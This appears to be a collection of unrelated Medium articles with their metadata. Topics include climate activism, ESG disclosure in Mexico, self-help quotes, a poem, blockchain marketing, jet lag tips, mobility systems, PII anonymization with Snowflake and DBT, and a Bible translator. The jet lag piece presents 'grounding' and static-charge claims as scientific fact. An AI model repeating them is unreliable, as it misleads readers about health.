What’s lacking at the moment is a reshaping of the debate. We almost all acknowledge that climate change is happening, and that it’s bad. We’re also all reluctant to take the steps to prevent it, preferring to lay the responsibility at someone else’s door, because those steps directly affect our daily lives. Just look at our opinions on plastic: though there’s been a massive public focus on plastic pollution in the last year and it’s unquestionable that we use too much and recycle too little, a recent YouGov poll found that only 46% of Brits feel guilty about the amount of plastic they use. Most of us are failing to take responsibility for our actions because of the effort required to tackle the problem.
Before we can convince our elected representatives that climate change should be top of their agenda, it needs to be top of ours.
We need to reframe industry’s and our own bad habits in a way that turns public opinion against them, so as to quash the demand for planet-killing products and practices. Once we have most of the electorate on side, we can lobby Parliament and Government en masse to legislate against the old ways, whilst supporting sustainable innovation and cultural shifts. This approach is radical, but it needs to be. We are collectively destroying our future by ignoring the impact of our actions, and in turn our politicians are doing the same.
As Extinction Rebellion has shown, we’re on the road already. But until we can collectively change our ways, the end is a long way off.
Learn more about Shape History, the social change communications agency working exclusively with good causes, including the United Nations, Malala Fund and the NHS here.
Hold down the 👏 to say “thanks!” and help others find this article. | https://medium.com/shape-history/hacking-parliament-did-extinction-rebellion-change-anything-and-how-can-you-9b1ae606355c | ['Kate Savin'] | 2019-05-02 13:07:42.767000+00:00 | ['Activism', 'Politics', 'Social Change', 'Climate Change', 'Emma Thompson'] |
The CCFV’s request for climate risks disclosure in Mexico | July 20th, 2020
This week I am going to briefly discuss the request to public issuers regarding their disclosure of climate risks that was published by the Green Finance Advisory Council (CCFV for its acronym in Spanish) in Mexico.
But first, who is the CCFV in Mexico? According to Mexico’s Central Bank (Banxico), the CCFV is a an organism which represents the segment in Mexico’s financial sector which wants to promote both funding for projects and investment in assets which generate positive environmental impacts. It was created voluntarily in 2016 and to date it is presided by Afore XXI Banorte and Afore SURA. It has alliances with institutions as the BMV, BIVA, PRI, among others. Within its members, there are sectoral associations (like AMAFORE), insurance companies, investment banks, investment funds, retail banks, development banks, and even public issuers.
With this in mind, and to better understand the initiative I want to discuss, I had a conversation with Irving Vázquez, Head of ESG Integration in Afore SURA and coordinator of the CCFV’s working group focused on “Definitions and Taxonomies”, and who supported this request from its early stages.
Where did you get the idea to make this request to public companies?
From the need to have more information for our ESG integration processes, as well as to urge companies in which we invest to adopt a strategy that mitigates climate change as well as incorporate risks and opportunities that come from it. As an AFORE (pension fund), this is a fundamental topic for our investment processes as it is our responsibility to consider all the associated risks in our investments.
Why do it under the CCFV?
Trying to solve the problem, the first couple of questions were how do we reach companies? And what should we be asking? There is no consensus on the best methodology globally, but as we dug deeper we saw that SASB and TCFD would be better than other standards for our investment decisions. Through the CCFV we have a great platform to build a consensus and invite investors to join the initiative. We believe this makes sense for all and we need to form a united front so that companies realize that reporting ESG information is important to their investors and the best way to do it is to use international standards.
What comes next after making this public request?
We are in the process of talking to different institutional investors associations so that they can distribute this request to their members and the members who want to join the movement can sign it. We already have several insurance companies and investment funds on board, and we hope to see this list grow bigger over the coming days. Ideally, we would like to have the biggest number of signatories possible by July 30th and then organize a virtual event where we can formally announce this institutional investor front to the financial market. Afterwards we will signatories to really commit to permeate these notions to their investment and risks teams and keep it front and center during their meetings with public companies. Otherwise it will be difficult to achieve a real change.
Anything else you would like to add?
This request is focused on climate change, but the international reporting standards which we are asking companies to adhere to also consider social and corporate governance factors, which should be considered in their sustainability strategy. Furthermore, in the request we speak about the minimal characteristics for ESG information which is disclosed by issuers such as consistency and comparability, reliability (that information is audited or verified by an independent party), temporality (that ESG information covers the same periods that the financial information and that both are disclosed at the same time), balance (publish both risks and achievements, not only achievements), and that information is quantifiable or that both risks and opportunities are measured in monetary terms as much as possible.
It will be interesting to the see the reaction from both investors with exposure to Mexican public companies and the companies themselves to this initiative. I have always believed that investors are the best lever to generate a real change in companies given the power they have in the funding process. Hopefully this effort leads to more companies having better disclosure and with it a better chance for investors to measure both risks and opportunities of ESG factors, especially now that there are new dedicated ESG active funds in Mexico.
I hope you found this useful. As usual, if there is anything we can help you with, please reach out.
Best,
Marimar
Partner, Miranda ESG | https://medium.com/@marimartorreblanca/the-ccfvs-request-for-climate-risks-disclosure-in-mexico-64de596632b3 | ['Marimar Torreblanca'] | 2020-12-08 15:11:42.600000+00:00 | ['Consulting', 'Climate Risk', 'Esg Investing', 'Esg', 'Finance'] |
4 Main Goals to Help the Business of Self Survival in Times of Crisis | Photo by Annie Spratt on Unsplash
4 Main Goals to Help the Business of Self Survival in Times of Crisis
“If you don’t have strong purposes for the future, it’s easy to get swallowed by a bad day. It’s easy to be almost annihilated by a poor month. And it’s easy to almost disappear beneath the waves of a year that goes backwards, if you don’t have something to pull you beyond that year.” Jim Rohn Annemarie Berukoff Dec 27, 2020·6 min read
No disagreement, our society is plodding through unprecedented times with bent backs and broken spirits. Mutual social fabric is fraying, jobs are locked down, small businesses face extinction, unemployment is a stark reality, educational system lies shattered, and sickness waits within an arm’s reach or hug as a sentence of death.
What can anyone do? Where can you stretch safely with some guarantee of return? What is within reach that will breathe some relief, some hope until better times? How can you grow the business the Self?
On one hand, you may watch a flurry of entrepreneurial programs but what if social economic circumstances due to the pandemic restrictions are not viable because entire industries have minimized, and the supply demand interplay has dried up. There doesn’t seem to be a rapid recovery in sight for expendable income or earning a living wage as a job.
Is starting a home business a possibility?
Is investing in some online opportunity for a price plausible at this time when cash shortages will continue to plague the economy and monopolistic companies provide all the stuff and services we need, or not?
No disagreement, when personal stability and economic cycles are so unsettling, be aware of any virtual swamp breakthrough drawn from desperation and faith in promised intentions. Life choices can be misdirected and easy to be taken advantage of when in a vulnerable state of powerlessness.
As a home-based business entrepreneur who has walked the extra distance to gain a few dollars, determined to make the system right enough to work regardless of time and money factors, I can only pass on this advice in good faith. Your desperation will not change market forces until the time evolves to open their necessary mandated channels again. In my opinion, do not spend money on ventures online or otherwise, thinking, they could be soon be the links to open your cash flow.
In times of great uncertainty, work on yourself as the main business you want to support and develop to be the best business model you can be. Make yourself be as strong and well informed to be better prepared to meet new opportunities to which a changing workplace may be amendable to.
Get to Know Jim Rohn’s 4 Main Lessons for Self-Development
Jim Rohn was a successful business entrepreneur and ambassador for self-development for forty years. He spent his early years in direct sales, developed a talent for public speaking and changed his average life at the age of 25 by investing in himself. He became a world renowned motivational speaker and a mentor of successful mentors like Tony Robbins, Jack Canfield and Darren Hardy of Success magazine. His philosophy has impacted millions of people with his seminars, books and personal development material.
Jim did not have to face the current volatile circumstances when even entrepreneurial possibilities are faint on the horizon. Out of hundreds of pieces of advice or quotes, these four main goals stand out to help anyone to develop their own business of self survival first.
1. Face the reality that your life may never be the same again
“I’ll tell you what changed my whole life: I finally discovered that it’s all risky. The minute you got born it got risky. If you think trying is risky, wait until they hand you the bill for not trying.
“You must take personal responsibility. You cannot change the circumstances, the seasons, or the wind, but you can change yourself. That is something you have charge of.”
2. Only you are responsible for developing your character
“Character is a quality that embodies many important traits, such as integrity, courage, perseverance, confidence and wisdom. Unlike your fingerprints that you are born with and can’t change, character is something that you create within yourself and must take responsibility for changing.”
3. Become an advocate for life-long learning and self-education. Keeping a journal is important.
“Learning is the beginning of wealth. Learning is the beginning of health. Learning is the beginning of spirituality. Searching and learning is where the miracle process all begins.”
“There are a million of books, so you can’t read all the books. But read all the books that you need to read. To make you as wealthy as you want to be, as healthy as you want to be, as prosperous, as productive, as unique a human being as you want to be”
Would you spent $26 for a blank book?
“I am a buyer of blank books. Kids find it interesting that I would buy a blank book. The say, ‘Twenty-Six dollars for a blank book! Why would you pay that?’ The reason I pay twenty-six dollars is to challenge myself to find something worth twenty-six dollars to put in there. All my journals are private, but if you ever got hold of one of them, you wouldn’t have to look very far to discover it is worth more than twenty-six dollars.”
4. Practice your Communication Skills
“Take advantage of every opportunity to practice your communication skills so that when important occasions arise, you will have the gift, the style, the sharpness, the clarity, and the emotions to affect other people.”
“The challenge of leadership is to be strong, but not rude; be kind, but not weak; be bold, but not bully; be thoughtful, but not lazy; be humble, but not timid; be proud, but not arrogant; have humor, but without folly.”
“Don’t wish it was easier, wish you were better. Don’t wish for less problems, wish for more skills.
“Don’t wish for less challenges, wish for more wisdom.”
In other words, the skill of “mental rehearsal” can be used to improve any performance … assertive communication, interviewing, sports or other endeavors. It helps to come to terms with yourself, your strengths, weaknesses and values.
With such an uncontrollable future, the strength of self-belief is necessary for everyone … medical professionals, front line workers, care aides, truckers, waitresses, clerks. We all need to keep in touch with our “true self,” stand up, stand out and persevere with our integrity to learn and grow our own Business of Self until more manageable times.
Self-belief and motivation may be the only sparks that can inspire your potential in times of great uncertainty when the future cannot be casually taken for granted. Self-delusion or fear will not magnify your skills.
Along the way your new “radical self-acceptance” will locate the differentials in people and places that will welcome your qualities and aspirations.
Ignorance is not bliss. Ignorance is poverty. Ignorance is tragedy. You got to know, or you are going to get hurt.” Jim Rohn
Which lesson do you think will be he most helpful in building your Business of Self-Survival?
Please share other self-belief skills that have been helpful to overcome any challenges. We can all learn together.
Annemarie Berukoff
HelpfulMindStreamforChanges.com
Read more by Jim Rohn: Motivational speaker, entrepreneur and author of the best selling book Seven Strategies for Successful Living
NOTE: The one Jim Rohn quote I regret not paying more attention to that I hope you won’t also regret:
There are 3 things to leave behind: your photographs, your library and your personal journals. These things are certainly going to be the more valuable to future generations than your furniture.
You Are Not A Tree … 12 Quotes and 1 Favorite to Help Make Changes in your Life
No Confidence? No Problem. Use These 7 Strategies Instead … Build inner strength and express your best self with these powerful strategies. | https://medium.com/@annemarie3steps/4-main-goals-to-help-the-business-of-self-survival-in-times-of-crisis-559c4c444fc9 | ['Annemarie Berukoff'] | 2021-01-24 23:26:09.435000+00:00 | ['Future Of Work', 'Philosophy Of Mind', 'Business Development', 'Self-awareness', 'Network Marketing'] |
Becoming | “I bathed in the river of a new beginning, my soul wore the saffron of the rising Sun and I was born all over again.” — Simran Kankas
When the wind met her that day
and saw the hurt in her eyes
It asked What is the matter dear
With all the sadness
You are hard to recognize
She said in a painful voice
I don’t like to be sad
But it seems I have no other choice
The universe loves me
But humans don’t
Do they see me as a bad person
Could you tell them I am not
The wind hugged her softly and said
You are the mirror of the universe
They see their own faces
when they look at you and believe
their reflection is the worst
She asked the wind
‘Does that mean
I will be alone forever’
She sighed as the wind felt cold
against her soft skin
It whispered in her ear
Don’t say that again, ever
The whole universe loves
When it sees you everyday
It keeps the darkness away
Teaches you to be the light
for others who come your way
Seeing her teary eyes
the wind cuddled her
Leaves began to stir
As she chuckled
The wind said to her
Cheer up
I can feel a convoy is coming
to stay with you forever
Hold the reins in your hands
You are going to be a part of something
It will be known as the ‘Becoming’ | https://medium.com/spiritual-tree/becoming-90d470ee2e79 | ['Simran Kankas'] | 2021-03-12 14:25:18.599000+00:00 | ['Universe', 'Poetry', 'Spirituality', 'Life', 'Self'] |
TDOS, Rapid Deployment of Blockchain in Ten Minutes | So far, the development of human society has experienced several information changes. From the invention of language to the emergence of the Internet, every change has undergone qualitative changes in the fields of social politics, economy, and culture.
The wheels of history are rolling in. Today, mankind has faced the seventh information revolution-the application of blockchain technology.
As a new information technology revolution, blockchain will, to a certain extent, like the Internet, change the existing production relations and business logic, stimulate global economic growth and promote the high-quality development of human social life.
From 1.0 currency to 2.0 finance, to 3.0 applications. Blockchain technology has gradually deviated from the encrypted digital currency scene and moved towards a wider range of application scenarios. These application scenarios will cover all aspects of social life.
As a new generation of blockchain system, TDOS trusted data operating system was jointly developed by the Financial Technology Research Institute of Shanghai University of Finance and Economics. And Changzhou Yongyang Information Technology Co., Ltd.
The system includes core nodes, multi-engine consensus, cryptographic components, P2P protocols, account models, virtual machine engines, multi-language SDKs, deployment tools, application development tools, browsers, operation and maintenance tools, operating system interfaces, and other components, which can be flexible Configuration. While improving production efficiency, it can better deliver value and change the production relationship of the Internet.
As the world’s first operating system level blockchain products, TDOS with the underlying technology framework to meet common industry key business requirements, not only with a full set of domestic technology, more encryption algorithms, consensus mechanisms, smart contracts, and distributed storage Independent innovation has been achieved in key technical areas such as computing, user privacy, and data security, and cross-chain interaction.
At the same time, TDOS is also equipped with a quick and visual operation interface, which greatly simplifies product deployment and improves deployment efficiency. Ensure that users can deploy a true and reliable data network in 10 minutes without the guidance of professional and technical personnel. After deployment, users can use various built-in development tools in the system to realize and implement upper-level applications.
In addition, TDOS trusted data operating system also has 5 major advantages:
Advantage 1: High performance, the flexible mechanism can deal with massive amounts of affairs;
Advantage 2: Strong security, Xinchuang compliance can guarantee information security;
Advantage 3: expandable, flexible structure can realize free configuration;
Advantage 4: Easy to supervise, directly on the chain can be connected to the supervising interface;
Advantage 5: Easy to deploy, fast deployment can be completed with standard solutions;
These advantages ensure that the TDOS trusted data operating system adapts to the needs of various scenarios, can better break the technical application barriers, and enhance the popularization of blockchain applications. Let the blockchain move from concept to actual deployment, transform technological achievements into industrial applications, empower all walks of life, and achieve a qualitative leap in productivity.
At present, the TDOS trusted data operating system is actively developing and expanding the application ecosystem. The system also plans to make new contributions in the fields of public welfare, medical care, education, social networking, government affairs, transportation, product authentication, and copyright certification.
With the landing of more application products, people’s production and lifestyle will be further changed. A programmable credit society will appear in the near future.
TDOS, link the world, make the future within reach. | https://medium.com/@tdos/tdos-rapid-deployment-of-blockchain-in-ten-minutes-836713f8624f | [] | 2021-07-06 08:06:04.314000+00:00 | ['Tdos', 'Dapps', 'Blockchain Application', 'Blockchain Development', 'Blockchain Technology'] |
5 Ways To Avoid Jet Lag | Changing time zones isn’t easy.
Our body is an amazing thing. It can take a lot of stress in multiple situations, and come out the end even stronger. But when it comes to traveling, when we enter new time zones, our body sometimes has a very difficult time adjusting. We begin to have trouble staying awake or falling asleep, and our energy levels begin to fluctuate. If we’re traveling to a new time zone, we most likely want to have enough energy, regardless of whether we’re traveling for work or for pleasure. The best way to make sure you stay energetic is to allow your body to adjust to the new time zone. In order to help, here are 5 ways that we can hack our body to avoid jet lag and adjust to new time zones a lot easier (without using melatonin as a supplement).
Get Grounded — Grounding basically means standing on the earth barefoot. While you may read that and brush it off as hippie nonsense, grounding is something that is backed by science. While you’re flying in the air, your body becomes static charged, and once you stand barefoot on the earth, the ions bring you back to your normal negative state. Grounding works on soil, grass, sand, and even brick or concrete, but just make sure you’re outside to get the full benefits. Get Some Sun — Sunlight is a great way to help regulate your circadian rhythm, which is your internal body clock. If you’re outside and you absorb some sunlight, your body does a great job at telling what point of day that it is, and has an easier time adjusting to a new schedule. Before your trip, if you can hack your time outside to replicate the place you’re going, you may be able to slightly adjust before you actually get there. For example, if it gets dark at 7pm in the location that you’re heading, and it’s five hours of ahead of your current time zone, get inside and avoid the sun around 2pm while you’re still home. And once you get to your new location, make sure you get outside to allow your body to adjust. Exercise — Your body does a great job at adjusting to routines. If you have a certain time where you exercise, exercising at that same time in your new time zone will allow your body to adjust. A study done on mice showed that exercising shifted the internal body clock of muscle tissue within those mice. If you can’t exercise at the same time for some reason, just getting in any form of exercise will still help the body make somewhat of an adjustment. Fast — Fasting for 12–16 hours before breakfast in your new location will allow your body to adjust to the new time zone. When you’re normally asleep, you’re obviously not eating, so when you enter a fasted state, your body has an easier time adjusting to the new location. For example, if you normally eat breakfast at 8am, you would want to stop eating anywhere from 4pm to 8pm in the new location’s time. So if that new location is 12 hours ahead of you, you would want to stop eating anywhere from 4am to 8am your time. Confusing, right? Drink A Lot Of Water — When we fly to new time zones, it’s tempting to order a glass of wine or a beer on the flight. If we really want to get adjusted to new time zones, it’s in our best interest to skip the alcohol, soda, or juice, and drink a lot of water instead. Drinking water not only will help keep us hydrated (the moisture in the air on an airplane is less than the Sahara Desert), but will also allow our body to shift gears and adjust to new time zones more efficiently.
Did you like this article? Check out my podcast on my website, iTunes, or Google Play for more! Or leave me a comment below letting me know your favorite place to travel. | https://medium.com/swlh/5-ways-to-avoid-jet-lag-feebcfc6e4d | ['Schuyler Diehm'] | 2018-04-21 12:21:56.572000+00:00 | ['Airports', 'Travel Tips', 'Health', 'Traveling', 'Travel'] |
Systems: Making the World Move | In contrast, mobility systems today have many chefs and few cooks. Big ideas, strategy, and high-level targets dominate (chefs), but few are concerned with the details or operational incentives (cooks) needed to realize any goal. Paired with the fact that mobility systems often have varying goals, it makes it extremely difficult to agree on the right mobility system architecture. On which goals should our mobility systems focus? Should they focus on improving social good, increasing financial gain, or securing individual freedom? The diverse set of inter-industry stakeholders — including government regulators, startup founders, corporate middle management, and everyone in between — will approach these questions from their perspective, each with salient points. With a multitude of opinions, we may never agree on a definitive answer.
Interoperability is the key
Suppose we cannot agree on the overall objective for mobility systems. In that case, we should agree on one critical feature that would allow mobility systems to support whichever purpose we choose: interoperability. Mobility systems designed using the principle of interoperability ensure different systems with competing goals and objectives can cooperate. Siloed fiefdoms serve little benefit in a world with limited resources and space. As such, interoperability should be the founding principle of every 21st-century mobility system.
Without interoperable systems, it will be virtually impossible to take advantage of the vast datasets created within the mobility industry. Given that mobility activities are discrete, easily quantifiable, and rich with information, mobility datasets are among the most extensive, structured, and valuable datasets globally. As a result, they are prime candidates on which to release algorithms focused on optimization.
The Key Functions of Mobility Systems: Coordination, Aggregation, Orchestration
Now that we’ve explored the importance of interoperability as a critical feature of mobility systems, it’s essential to understand its vital functions. The system layer of the ISA model is concerned with communication and connectivity. It’s the layer in which data is collected, organized, and analyzed to enable movement. Without this layer, infrastructure would remain physical, “dumb,” and unable to interact with the broad array of new technologies. At their core, mobility systems serve as the connective tissue in our ISA framework. They are often overlooked because they can’t be touched or experienced like infrastructure or applications, respectively. However, they are indispensable for Mobility 4.0. Mobility systems serve three main functions: coordination, aggregation, and orchestration.
Coordination
Traditional logistics are a prime example of coordination. There, individuals use applications to plan daily delivery routes. Coordination in this context is generally designed to deliver one-way communication from a central body to field units. In a logistics company, a coordinator (human or non-human) will select the best route to deliver the goods based on that day’s requirements. Some would go so far as to call these coordinator systems “dumb” because they lack the capability to monitor or adjust routes. It is primarily concerned with completing an activity, and success is measured by answering yes to the question: was the package delivered? Coordinating systems continue to evolve from their more primitive days. Today, innovative firms enable logistics coordinators to minimize fuel consumption and maximize customer satisfaction. Even with these technological advances, coordination systems, alone, are insufficient.
Aggregation
Systems aggregate data so that operators can act upon insights gleaned from data. Compared with coordination systems where bi-directional movement is a nice-to-have feature, aggregating systems cannot exist without bi-directional data movement. In the logistics example, the data that fuels the design derives from observing the delivery outcome and, more importantly, observing how the driver arrived at that outcome.
We can explore an example of aggregating systems in the Open Mobility Foundation’s Mobility Data Specification (MDS) initiative. Through it, shared mobility operators provide real-time information about the numbers of vehicles in operation, vehicle location, physical condition, and a host of other data points through an Operator API. To date, this is the most comprehensive set of data standards for micro-mobility operators in cities, adopted by more than ninety cities worldwide. Systems like MDS can collect data from disparate operators to drive decisions on curb and sidewalk usage. MDS is far from perfect; legal challenges surrounding data usage will undoubtedly alter its final form. Regardless of legal outcomes, initiatives like MDS exemplify the power of mobility systems that aggregate data.
Aggregating systems also play a pivotal role in our logistics networks. When a company in Detroit orders a pallet of products from a Berlin-based entity, it must decide which combination of air, rail, and sea best meets its goals. If employees in Detroit are to have insight into their order’s status and location through the journey, every logistics company along the value chain would need to collaborate. Currently, that is not entirely possible, but promising startups like Tradelens are building open platforms that facilitate communication between logistics operators.
While Tradelens has taken an open approach to logistics operator communication, companies like Cainaio have taken a private system integrator approach. The initiative was initially launched as a joint venture between Alibaba and large operators to modernize China’s logistics system. At the time, China’s underdeveloped logistics network was a hindrance to Alibaba’s growth. Since 2014, Cainiao has collaborated with hundreds of logistics operators and aggregated an immense network whose aim is to deliver domestic parcels in less than 24 hours and worldwide in less than 72 hours.
Orchestration
Compared to the coordinating and aggregating functions of mobility systems, orchestration systems are the most developed. Orchestration takes full advantage of the aggregated data to finetune mobility systems in real-time. This could be a reaction to traffic patterns changing or automatically increasing public transport frequencies in populated areas during inclement weather. An example of this is Uber’s dynamic pricing model, which varies based on driver supply, ride demand, time of day, weather conditions, and even your phone’s battery level. Orchestrating systems like this ingest and analyze vast amounts of information to direct real-time movement within mobility systems.
While data like your battery level and road conditions may not always seem relevant, orchestrating systems gain their advantage from using this analogous information drive decision making. The use of this information can be thought of as oracles.
Oracles allow for external data to be fed into systems to facilitate more efficient operations. To borrow from biology, oracles are selectively permeable membranes, allowing only the designated data to cross boundaries. Oracles allow for two systems to work even when their overarching goals are dissimilar. | https://medium.com/assembly-ventures/chapter3-systems-afebbb78edeb | ['Newton Davis'] | 2021-02-02 09:02:08.311000+00:00 | ['Venture Capital', 'Transportation', 'Mobility', 'Logistics'] |
Data anonymization layer using Snowflake and DBT | Image from Alice Roma
Data anonymization layer using Snowflake and DBT
HousingAnywhere is an online marketplace platform for mid to long-term rents. Like any other data-driven business we have to deal with both personal information and GDPR regulations. In this brief article, I’ll walk you through our solution to anonymize PII (Personal Identifiable Information). The technologies that I’ll be using are Snowflake[1], a popular data warehouse cloud solution and DBT[2](Data Build Tool) a data transformation tool.
Starting with some context; Every day our reporting and analytics are served by data that we ingest from various sources, spanning every aspect of our business. This raises a problem, how do we prevent users and services from unnecessarily accessing raw data that exposes PIIs of HousingAnywhere’s clients?
┌──────────────────┬──────────────────────┬─────────┐
│ NAME │ EMAIL │ COUNTRY │
├──────────────────┼──────────────────────┼─────────┤
│ Tommaso Peresson │
└──────────────────┴──────────────────────┴─────────┘ from┌──────────────────┬──────────────────────┬─────────┐│ NAME │ EMAIL │ COUNTRY │├──────────────────┼──────────────────────┼─────────┤│ Tommaso Peresson │ [email protected] │ IT │└──────────────────┴──────────────────────┴─────────┘ to
┌──────────────────┬──────────────────────┬─────────┐
│ NAME │ EMAIL │ COUNTRY │
├──────────────────┼──────────────────────┼─────────┤
│ 87444be...eb6b21 │ 3c33076...e1ceaf │ IT │
└──────────────────┴──────────────────────┴─────────┘
Introduction
Data Warehouse configuration
In order for this solution to be effective, you will need two areas in your data warehouse: a stage one to store all the raw data coming from external sources, and another to accommodate the results of the anonymization transformation. To do that I will create two databases and call them PRIVATE_SOURCES and SOURCES respectively. If you need some help to get to this stage follow this[3] guide.
Image from Tommaso Peresson
Another key element is to manage the access control and the privileges so that the PRIVATE_SOURCES database is only accessible by admins and data engineers, and the SOURCES database by potentially everybody. I will not get into depth on this topic but if you want to learn more about privileges and access control read this article[4].
We will also need a table containing the information on which column names to affect and their respective anonymization methods ( anonymization_mapping ) a table containing the salt[5] used for secure hashing.
Anonymization Layer
Without anonymization, anybody who has access to the data warehouse could steal and use personal information. A data leak is as simple to perform as typing select * from users . Taking inspiration from this post[6] we decided to build an anonymization layer using DBT.
Let’s start to uncover our solution by looking at an example of the final usage in a model that we want to anonymize.
As you probably can see after select there is a macro call. This is intended to replace the * operator and adding the anonymization transformation. Our goal was to find a maintainable and scalable solution that isn’t text-intensive since we have hundreds of tables and manually selecting each column isn’t, of course, a considerable solution. Let’s now take a deep dive into the macros to understand the implementation details.
Deep dive into the implementation
Let’s now take a look at the two DBT macros that make up this system.
1.Starting with anonymize_columns() the aim of this macro is to substitute the * operator plus adding the anonymization transformation to specific columns.
We can say that this macro performs two different operations:
1.1 Creating the mapping
( rows 2:13 ) by fetching all the column names from the private_sources.information_schema.columns and join them with the anonymization_mapping on the column name. As a result, we will have a table containing the columns of the table in object paired with the right anonymization function. For example, the users table has 3 columns: name , email and country . It might be that in our specific case we want to only anonymize the name and email columns, leaving country untouched.
To do this our anonymization_mapping will have to contain these two rows indicating which columns have to be transformed and with which function:
ANONYMIZATION_MAPPING (config)
┌───────────────────┬─────────────┬───────────┐
│ TABLE_NAME_FILTER │ COLUMN_NAME │ FUNCTION │
├───────────────────┼─────────────┼───────────┤
│ production.users │ name │ full_hash │
│ production.users │ email │ full_hash │
└───────────────────┴─────────────┴───────────┘
After joining it with the information_schema.columns in the query contained in the statement, the mapping will look like this
mapping (sql statement output)
┌───────────────────┬─────────────┬───────────┐
│ TABLE_NAME_FILTER │ COLUMN_NAME │ FUNCTION │
├───────────────────┼─────────────┼───────────┤
│ production.users │ name │ full_hash │
│ production.users │ email │ full_hash │
│ NULL │ country │ NULL │
└───────────────────┴─────────────┴───────────┘
N.B. we can also leave the TABLE_NAME_FILTER blank in the anonymization_mapping , this will anonymize every column with a matching name without filtering by table. This can be useful in the case where we have multiple tables with the same column names that have to be anonymized.
1.2 Printing the field names and their transformations
( rows 14:27 ) This part of the macro prints out the right column names and functions to be put in the select statement by mapping column names with the correct anonymization function using the output of the last step ( mapping ). For example, the output of the macro when following the previous example would be:
SHA256(name) as name,
SHA256(email) as email,
country
and the final compiled model will look like this:
select
SHA256(name) as name,
SHA256(email) as email,
country
from
private_sources.production.users
Effectively anonymizing the sensitive content of our table.
2.The second macro was built to group and easily use the different anonymization transformations. This simply applies the selected transformation to a column. To showcase its use I’ve included two different methods, one generic that hashes the whole content of a cell and one that also applies a REGEX to the content of the cell to anonymized only the user part of an email address.
It is also important to stress that whenever using a hashing function it is required to add a salt otherwise our hashes would be vulnerable to dictionary attacks.
Conclusion
The purpose of GDPR regulations is to improve consumer confidence in organizations that hold and process personal data, as well as standardizing and simplifying the free flow of information across the EU. In HousingAnywhere we always believed that the privacy of our users is key in establishing trust and confidence towards our platform and that is why we take so much care in designing our data infrastructure.
A final remark should be also made on the fact that Snowflake offers an out-of-the-box solution for anonymization called Dynamic Data Masking available only for enterprise accounts.
Thanks to Julian Smidek for being such a great manager :)
[1] DBT Cloud. Accessed 20 May 2021. https://cloud.getdbt.com/.
[2] DBT Discourse. ‘PII Anonymization and DBT — Modeling’, 26 April 2018. https://discourse.getdbt.com/t/pii-anonymization-and-dbt/29.
[3] Step 2. Create Snowflake Objects — Snowflake Documentation. Accessed 20 May 2021. https://docs.snowflake.com/en/user-guide/getting-started-tutorial-create-objects.html.
[4] ‘A Comprehensive Tutorial of Snowflake Privileges and Access Control — Trevor’s Code’. Accessed 20 May 2021. https://trevorscode.com/comprehensive-tutorial-of-snowflake-privileges-and-access-control/.
[5] Salt (Cryptography). In Wikipedia, 17 May 2021. https://en.wikipedia.org/w/index.php?title=Salt_(cryptography)&oldid=1023634352.
[6] Snowflake. ‘The Data Cloud | Snowflake | Enable the Most Critical Workloads’. Accessed 20 May 2021. https://www.snowflake.com/. | https://towardsdatascience.com/data-anonymization-layer-using-snowflake-and-dbt-c5f84e398358 | ['Tommaso Peresson'] | 2021-05-24 09:24:02.187000+00:00 | ['Dbt', 'Anonymization', 'Snowflake', 'Data Modeling', 'Gdpr'] |
How to get published on Coinmonks Publication? | Process of publishing a story on Coinmonks
Send me your draft/story at [email protected]
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Go to your story Bottom right on your story there will be 3 dots. Click on them. You will see “Add to publication” Select Coinmonks and submit
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Motivation behind Coinmonks
We started the Coinmonks publication in Feb 2018. The purpose of the publication is to create a knowledge repository for decentralized technologies and its new economy.
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Wrote something useful around crypto? mail us, do not hesitate. | https://medium.com/coinmonks/how-to-get-published-on-coinmonks-publication-bdf172add414 | ['Gaurav Agrawal'] | 2020-12-03 11:49:30.667000+00:00 | ['Cryptocurrency', 'Writing', 'Medium', 'Publishing', 'Bitcoin'] |
Let’s read the Bible for the first time | Let’s read the Bible for the first time
On Ann Nyland, translator
For me, it was a period of theological distress. The world I’d grew up in, Evangelical Christianity, seemed loveless, attack-oriented, and I couldn’t stay in it anymore. I was interested in the Bible. But I only seemed to see “adultery” and “fornication” on every page—and, in my mind, the image of a man with a gray, cruel face staring back at me.
Looking up Bible commentary one night, I noticed a mention of a Bible translator in Australia who’d said to Christianity: You got everything wrong.
I said to myself: Yes, that’s what happened.
In a 2005 interview, she speaks of her youth.
I was born into a Christian family so was brought up with the Bible and accepted the Lord as my Savior when I was 6. My father was a Greek scholar (as was his uncle) and from an early age I can remember him talking about what the Greek really meant and how it was a shame it wasn’t brought out in English translation. He had a collection of English translations. He was also a preacher and used to go on at length about how the King James said this, the other versions said this and that, but the Greek said something else.
Christendom had an open secret? The scriptures were not translated very well. She went to school to become a classical Greek scholar, but the Bible is what she was interested in—just different, unusual corners of it. Her dissertation was on a Hittite method of horse training, and continues to be cited. (In 1992, she wrote a published paper from it.)
She got a job at the University of New England, in Australia, and says she published papers on “Greek lexicography from Homeric to Hellenistic times.” But dealing with sexist translation of the Bible was the job that called out to her. In the 1990s, the Christians vs. the Feminists was the regular media event. Dr. Nyland’s stance was neither, or both? As she comments in a blog post: “I used to teach ancient Greek language at university, and then when I translated the New Testament from the Greek, I attracted all sorts of charges of feminist agenda simply for translating correctly.”
Bible publishing, she’d realized, is a bit of a racket, controlled by vast corporations and overseen by, as she calls them, “the lobbyists.” Well-known Christian leaders, she writes, “have misrepresented lexicons, presented new meanings for common Greek terms, and displayed clear errors about elementary Greek grammar.”
Her initial efforts to push back weren’t warmly received. She recalls in a 2007 interview: “A scholarly article I wrote in a peer-reviewed academic journal led to me be being described as ‘a shrill feminist author from Australia’, rather than a Greek scholar commenting on the blatant mistranslation of a common Greek word by a group of lobbyists.”
It seemed there was a commercial opportunity to update the translation of the Bible with new information. The scholarly literature was full of finds by archaeologists. For example, as she notes, Paul’s phrase translated “husband of one wife” — is found on the tombstones of women.
There were new readings by scholars, adjusting the meaning of many poorly-understood words. To translate and market a Bible was a taunting task, but for six years she worked on her New Testament, naming it after the Greek word kephalē. Does it mean ‘head’, or ‘source’. Ever industrious, she seems to have set up her own publishing company to release it.
Her Source translation of the New Testament was published in Australia in 2004. How was it different? She explains in the introduction:
For centuries, the meaning of numerous New Testament words remained unknown, thus translators were left to guess. In the late 1880s and again in the mid 1970s, large amounts of papyri and inscriptions were discovered. These impacted our knowledge of word meaning in the New Testament to such a degree that scholars labeled the finds “sensational” and “dramatic” . . . Yet nearly every New Testament translation of today follows the traditional translations of the earlier versions, which were published centuries before . . . .
